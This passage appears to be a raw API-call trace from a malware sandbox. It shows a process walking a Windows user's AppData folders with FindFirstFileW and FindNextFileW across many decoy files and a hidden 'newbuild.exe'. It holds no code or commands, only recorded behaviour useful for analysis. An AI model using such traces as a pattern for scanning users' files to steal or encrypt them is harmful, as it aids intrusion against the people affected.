returned 1 [0199.380] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84829da0, ftCreationTime.dwHighDateTime=0x1d5e2dd, ftLastAccessTime.dwLowDateTime=0x4e86a130, ftLastAccessTime.dwHighDateTime=0x1d5da5c, ftLastWriteTime.dwLowDateTime=0x4e86a130, ftLastWriteTime.dwHighDateTime=0x1d5da5c, nFileSizeHigh=0x0, nFileSizeLow=0x573f, dwReserved0=0x0, dwReserved1=0x0, cFileName="cEVmfr1n5ZClp.avi", cAlternateFileName="CEVMFR~1.AVI")) returned 1 [0199.380] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc77c120, ftCreationTime.dwHighDateTime=0x1d5de83, ftLastAccessTime.dwLowDateTime=0x51b20260, ftLastAccessTime.dwHighDateTime=0x1d5e000, ftLastWriteTime.dwLowDateTime=0x51b20260, ftLastWriteTime.dwHighDateTime=0x1d5e000, nFileSizeHigh=0x0, nFileSizeLow=0xc664, dwReserved0=0x0, dwReserved1=0x0, cFileName="D-KVKrkr k.mkv", cAlternateFileName="D-KVKR~1.MKV")) returned 1 [0199.380] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90eb5a80, ftCreationTime.dwHighDateTime=0x1d5df3d, ftLastAccessTime.dwLowDateTime=0xfa7e2580, ftLastAccessTime.dwHighDateTime=0x1d5e6c3, ftLastWriteTime.dwLowDateTime=0xfa7e2580, ftLastWriteTime.dwHighDateTime=0x1d5e6c3, nFileSizeHigh=0x0, nFileSizeLow=0xf8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="d6XWWffuXAL.png", cAlternateFileName="D6XWWF~1.PNG")) returned 1 [0199.380] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab240d30, ftCreationTime.dwHighDateTime=0x1d5e144, ftLastAccessTime.dwLowDateTime=0x5cce7390, ftLastAccessTime.dwHighDateTime=0x1d5e2cb, ftLastWriteTime.dwLowDateTime=0x5cce7390, ftLastWriteTime.dwHighDateTime=0x1d5e2cb, nFileSizeHigh=0x0, nFileSizeLow=0x61df, dwReserved0=0x0, dwReserved1=0x0, cFileName="ddnY a.png", cAlternateFileName="DDNYA~1.PNG")) returned 1 [0199.381] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b404b0, ftCreationTime.dwHighDateTime=0x1d5db5d, ftLastAccessTime.dwLowDateTime=0xd4bfeda0, ftLastAccessTime.dwHighDateTime=0x1d5d940, ftLastWriteTime.dwLowDateTime=0xd4bfeda0, ftLastWriteTime.dwHighDateTime=0x1d5d940, nFileSizeHigh=0x0, nFileSizeLow=0x5252, dwReserved0=0x0, dwReserved1=0x0, cFileName="fdmVm.wav", cAlternateFileName="")) returned 1 [0199.381] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fd525d0, ftCreationTime.dwHighDateTime=0x1d5e2dd, ftLastAccessTime.dwLowDateTime=0x840c87f0, ftLastAccessTime.dwHighDateTime=0x1d5da45, ftLastWriteTime.dwLowDateTime=0x840c87f0, ftLastWriteTime.dwHighDateTime=0x1d5da45, nFileSizeHigh=0x0, nFileSizeLow=0x220b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GeQTgPCb8PNq6Ea0Q.swf", cAlternateFileName="GEQTGP~1.SWF")) returned 1 [0199.381] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2a131b0, ftCreationTime.dwHighDateTime=0x1d5e2f0, ftLastAccessTime.dwLowDateTime=0xf3abff50, ftLastAccessTime.dwHighDateTime=0x1d5e2d3, ftLastWriteTime.dwLowDateTime=0xf3abff50, ftLastWriteTime.dwHighDateTime=0x1d5e2d3, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GNs6tFPSTpq9hO9z.bmp", cAlternateFileName="GNS6TF~1.BMP")) returned 1 [0199.381] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf65a580, ftCreationTime.dwHighDateTime=0x1d5e6b0, ftLastAccessTime.dwLowDateTime=0x5df522b0, ftLastAccessTime.dwHighDateTime=0x1d5da9b, ftLastWriteTime.dwLowDateTime=0x5df522b0, ftLastWriteTime.dwHighDateTime=0x1d5da9b, nFileSizeHigh=0x0, nFileSizeLow=0x11b51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ijVIbVFO7b.bmp", cAlternateFileName="IJVIBV~1.BMP")) returned 1 [0199.381] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x563270e0, ftCreationTime.dwHighDateTime=0x1d5db5f, ftLastAccessTime.dwLowDateTime=0x6e0d5340, ftLastAccessTime.dwHighDateTime=0x1d5e020, ftLastWriteTime.dwLowDateTime=0x6e0d5340, ftLastWriteTime.dwHighDateTime=0x1d5e020, nFileSizeHigh=0x0, nFileSizeLow=0x15bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="iKA_2FAP.gif", cAlternateFileName="")) returned 1 [0199.381] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84535ff0, ftCreationTime.dwHighDateTime=0x1d5dc3d, ftLastAccessTime.dwLowDateTime=0xc08459d0, ftLastAccessTime.dwHighDateTime=0x1d5dc19, ftLastWriteTime.dwLowDateTime=0xc08459d0, ftLastWriteTime.dwHighDateTime=0x1d5dc19, nFileSizeHigh=0x0, nFileSizeLow=0x1373d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ivyQvy zFYHG5WpMF.pptx", cAlternateFileName="IVYQVY~1.PPT")) returned 1 [0199.382] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513e32e0, ftCreationTime.dwHighDateTime=0x1d5dbd7, ftLastAccessTime.dwLowDateTime=0x34b19520, ftLastAccessTime.dwHighDateTime=0x1d5e1d3, ftLastWriteTime.dwLowDateTime=0x34b19520, ftLastWriteTime.dwHighDateTime=0x1d5e1d3, nFileSizeHigh=0x0, nFileSizeLow=0xe060, dwReserved0=0x0, dwReserved1=0x0, cFileName="IyUJ9Oc9qjz9.png", cAlternateFileName="IYUJ9O~1.PNG")) returned 1 [0199.382] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49ec7d80, ftCreationTime.dwHighDateTime=0x1d5d989, ftLastAccessTime.dwLowDateTime=0xcb6b1500, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0xcb6b1500, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x9186, dwReserved0=0x0, dwReserved1=0x0, cFileName="jTiYSZUtY1CU 0J.xls", cAlternateFileName="JTIYSZ~1.XLS")) returned 1 [0199.382] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec053380, ftCreationTime.dwHighDateTime=0x1d5da8f, ftLastAccessTime.dwLowDateTime=0x8a215db0, ftLastAccessTime.dwHighDateTime=0x1d5dc29, ftLastWriteTime.dwLowDateTime=0x8a215db0, ftLastWriteTime.dwHighDateTime=0x1d5dc29, nFileSizeHigh=0x0, nFileSizeLow=0x62d, dwReserved0=0x0, dwReserved1=0x0, cFileName="kf5QM.bmp", cAlternateFileName="")) returned 1 [0199.382] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x961bdfe0, ftCreationTime.dwHighDateTime=0x1d5d8bf, ftLastAccessTime.dwLowDateTime=0x27deb4b0, ftLastAccessTime.dwHighDateTime=0x1d5de34, ftLastWriteTime.dwLowDateTime=0x27deb4b0, ftLastWriteTime.dwHighDateTime=0x1d5de34, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="KpXtA.mp4", cAlternateFileName="")) returned 1 [0199.382] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1210e290, ftCreationTime.dwHighDateTime=0x1d5dbf3, ftLastAccessTime.dwLowDateTime=0x544aba80, ftLastAccessTime.dwHighDateTime=0x1d5e5e6, ftLastWriteTime.dwLowDateTime=0x544aba80, ftLastWriteTime.dwHighDateTime=0x1d5e5e6, nFileSizeHigh=0x0, nFileSizeLow=0x1b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="kW5fmqW4_z.mp4", cAlternateFileName="KW5FMQ~1.MP4")) returned 1 [0199.382] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57eb8ec0, ftCreationTime.dwHighDateTime=0x1d5e303, ftLastAccessTime.dwLowDateTime=0xc45e8d30, ftLastAccessTime.dwHighDateTime=0x1d5ddce, ftLastWriteTime.dwLowDateTime=0xc45e8d30, ftLastWriteTime.dwHighDateTime=0x1d5ddce, nFileSizeHigh=0x0, nFileSizeLow=0xc25a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LCbJETGa9i0NIdyg.gif", cAlternateFileName="LCBJET~1.GIF")) returned 1 [0199.383] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0199.383] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c61fb20, ftCreationTime.dwHighDateTime=0x1d5e330, ftLastAccessTime.dwLowDateTime=0x66c07cf0, ftLastAccessTime.dwHighDateTime=0x1d5dabe, ftLastWriteTime.dwLowDateTime=0x66c07cf0, ftLastWriteTime.dwHighDateTime=0x1d5dabe, nFileSizeHigh=0x0, nFileSizeLow=0x8045, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeVC4R4Jy87myyMXKVE.mp3", cAlternateFileName="MEVC4R~1.MP3")) returned 1 [0199.383] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0199.383] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x722ca29e, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x722ca29e, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0199.383] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505f3a00, ftCreationTime.dwHighDateTime=0x1d5de47, ftLastAccessTime.dwLowDateTime=0x76560340, ftLastAccessTime.dwHighDateTime=0x1d5ddc2, ftLastWriteTime.dwLowDateTime=0x76560340, ftLastWriteTime.dwHighDateTime=0x1d5ddc2, nFileSizeHigh=0x0, nFileSizeLow=0x6ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPwOkD3sA M6DsljYpoq.avi", cAlternateFileName="MPWOKD~1.AVI")) returned 1 [0199.383] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf87a80, ftCreationTime.dwHighDateTime=0x1d5da4a, ftLastAccessTime.dwLowDateTime=0x41856ce0, ftLastAccessTime.dwHighDateTime=0x1d5e818, ftLastWriteTime.dwLowDateTime=0x41856ce0, ftLastWriteTime.dwHighDateTime=0x1d5e818, nFileSizeHigh=0x0, nFileSizeLow=0xd832, dwReserved0=0x0, dwReserved1=0x0, cFileName="MR3wg-qB6_.wav", cAlternateFileName="MR3WG-~1.WAV")) returned 1 [0199.383] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x10bf1d1d, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x10bf1d1d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1229c398, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="newbuild.exe", cAlternateFileName="")) returned 1 [0199.384] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71acdeb0, ftCreationTime.dwHighDateTime=0x1d5dcdf, ftLastAccessTime.dwLowDateTime=0x44d6f1f0, ftLastAccessTime.dwHighDateTime=0x1d5e851, ftLastWriteTime.dwLowDateTime=0x44d6f1f0, ftLastWriteTime.dwHighDateTime=0x1d5e851, nFileSizeHigh=0x0, nFileSizeLow=0xdcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjR 0EuiedsrIGvP5QlO.mp3", cAlternateFileName="PJR0EU~1.MP3")) returned 1 [0199.384] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype", cAlternateFileName="")) returned 1 [0199.384] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a6c8d0, ftCreationTime.dwHighDateTime=0x1d5db76, ftLastAccessTime.dwLowDateTime=0x6bbf9820, ftLastAccessTime.dwHighDateTime=0x1d5e1e0, ftLastWriteTime.dwLowDateTime=0x6bbf9820, ftLastWriteTime.dwHighDateTime=0x1d5e1e0, nFileSizeHigh=0x0, nFileSizeLow=0x12e27, dwReserved0=0x0, dwReserved1=0x0, cFileName="stS3pwNiH96hJ.bmp", cAlternateFileName="STS3PW~1.BMP")) returned 1 [0199.384] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0199.384] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbbf45a0, ftCreationTime.dwHighDateTime=0x1d5e4f6, ftLastAccessTime.dwLowDateTime=0x8828a010, ftLastAccessTime.dwHighDateTime=0x1d5dcdb, ftLastWriteTime.dwLowDateTime=0x8828a010, ftLastWriteTime.dwHighDateTime=0x1d5dcdb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="tW5A.pdf", cAlternateFileName="")) returned 1 [0199.384] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a7200, ftCreationTime.dwHighDateTime=0x1d5df2a, ftLastAccessTime.dwLowDateTime=0x2304be40, ftLastAccessTime.dwHighDateTime=0x1d5e7e8, ftLastWriteTime.dwLowDateTime=0x2304be40, ftLastWriteTime.dwHighDateTime=0x1d5e7e8, nFileSizeHigh=0x0, nFileSizeLow=0x3601, dwReserved0=0x0, dwReserved1=0x0, cFileName="w6TCz_8Oy.mp3", cAlternateFileName="W6TCZ_~1.MP3")) returned 1 [0199.404] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f3e6c0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0x87a00c80, ftLastAccessTime.dwHighDateTime=0x1d5dfb7, ftLastWriteTime.dwLowDateTime=0x87a00c80, ftLastWriteTime.dwHighDateTime=0x1d5dfb7, nFileSizeHigh=0x0, nFileSizeLow=0xef21, dwReserved0=0x0, dwReserved1=0x0, cFileName="w8KoOSYOF-A fWE4vZ_.swf", cAlternateFileName="W8KOOS~1.SWF")) returned 1 [0199.404] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe376920, ftCreationTime.dwHighDateTime=0x1d5e41b, ftLastAccessTime.dwLowDateTime=0xa6e40500, ftLastAccessTime.dwHighDateTime=0x1d5dccf, ftLastWriteTime.dwLowDateTime=0xa6e40500, ftLastWriteTime.dwHighDateTime=0x1d5dccf, nFileSizeHigh=0x0, nFileSizeLow=0x17880, dwReserved0=0x0, dwReserved1=0x0, cFileName="xkgQf.mp3", cAlternateFileName="")) returned 1 [0199.405] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83be210, ftCreationTime.dwHighDateTime=0x1d5ddba, ftLastAccessTime.dwLowDateTime=0xb60a7b30, ftLastAccessTime.dwHighDateTime=0x1d5dfe6, ftLastWriteTime.dwLowDateTime=0xb60a7b30, ftLastWriteTime.dwHighDateTime=0x1d5dfe6, nFileSizeHigh=0x0, nFileSizeLow=0x12f9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="xYqMl0QZB.jpg", cAlternateFileName="XYQML0~1.JPG")) returned 1 [0199.405] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5835560, ftCreationTime.dwHighDateTime=0x1d5de2f, ftLastAccessTime.dwLowDateTime=0x100c04a0, ftLastAccessTime.dwHighDateTime=0x1d5e6e5, ftLastWriteTime.dwLowDateTime=0x100c04a0, ftLastWriteTime.dwHighDateTime=0x1d5e6e5, nFileSizeHigh=0x0, nFileSizeLow=0x60cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="yVsYWfkbRY3d8YshBfvx.m4a", cAlternateFileName="YVSYWF~1.M4A")) returned 1 [0199.405] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89081020, ftCreationTime.dwHighDateTime=0x1d5df37, ftLastAccessTime.dwLowDateTime=0xb8685290, ftLastAccessTime.dwHighDateTime=0x1d5e36e, ftLastWriteTime.dwLowDateTime=0xb8685290, ftLastWriteTime.dwHighDateTime=0x1d5e36e, nFileSizeHigh=0x0, nFileSizeLow=0xd6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="zKrD6DIzr.mp3", cAlternateFileName="ZKRD6D~1.MP3")) returned 1 [0199.405] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0fd750, ftCreationTime.dwHighDateTime=0x1d5dcff, ftLastAccessTime.dwLowDateTime=0x1ca04e30, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x1ca04e30, ftLastWriteTime.dwHighDateTime=0x1d5dcca, nFileSizeHigh=0x0, nFileSizeLow=0xae04, dwReserved0=0x0, dwReserved1=0x0, cFileName="_MfdGwOS-.gif", cAlternateFileName="_MFDGW~1.GIF")) returned 1 [0199.405] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0fd750, ftCreationTime.dwHighDateTime=0x1d5dcff, ftLastAccessTime.dwLowDateTime=0x1ca04e30, ftLastAccessTime.dwHighDateTime=0x1d5dcca, ftLastWriteTime.dwLowDateTime=0x1ca04e30, ftLastWriteTime.dwHighDateTime=0x1d5dcca, nFileSizeHigh=0x0, nFileSizeLow=0xae04, dwReserved0=0x0, dwReserved1=0x0, cFileName="_MfdGwOS-.gif", cAlternateFileName="_MFDGW~1.GIF")) returned 0 [0199.405] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff080) returned 1 [0199.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff08c) returned 1 [0199.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0c4) returned 1 [0199.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x12feb78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0199.406] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\*", lpFindFileData=0x12fedec | out: lpFindFileData=0x12fedec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0199.406] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.407] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveSync", cAlternateFileName="ACTIVE~1")) returned 1 [0199.407] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0199.407] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0199.407] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEF", cAlternateFileName="")) returned 1 [0199.407] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0199.407] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectedDevicesPlatform", cAlternateFileName="CONNEC~1")) returned 1 [0199.407] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: 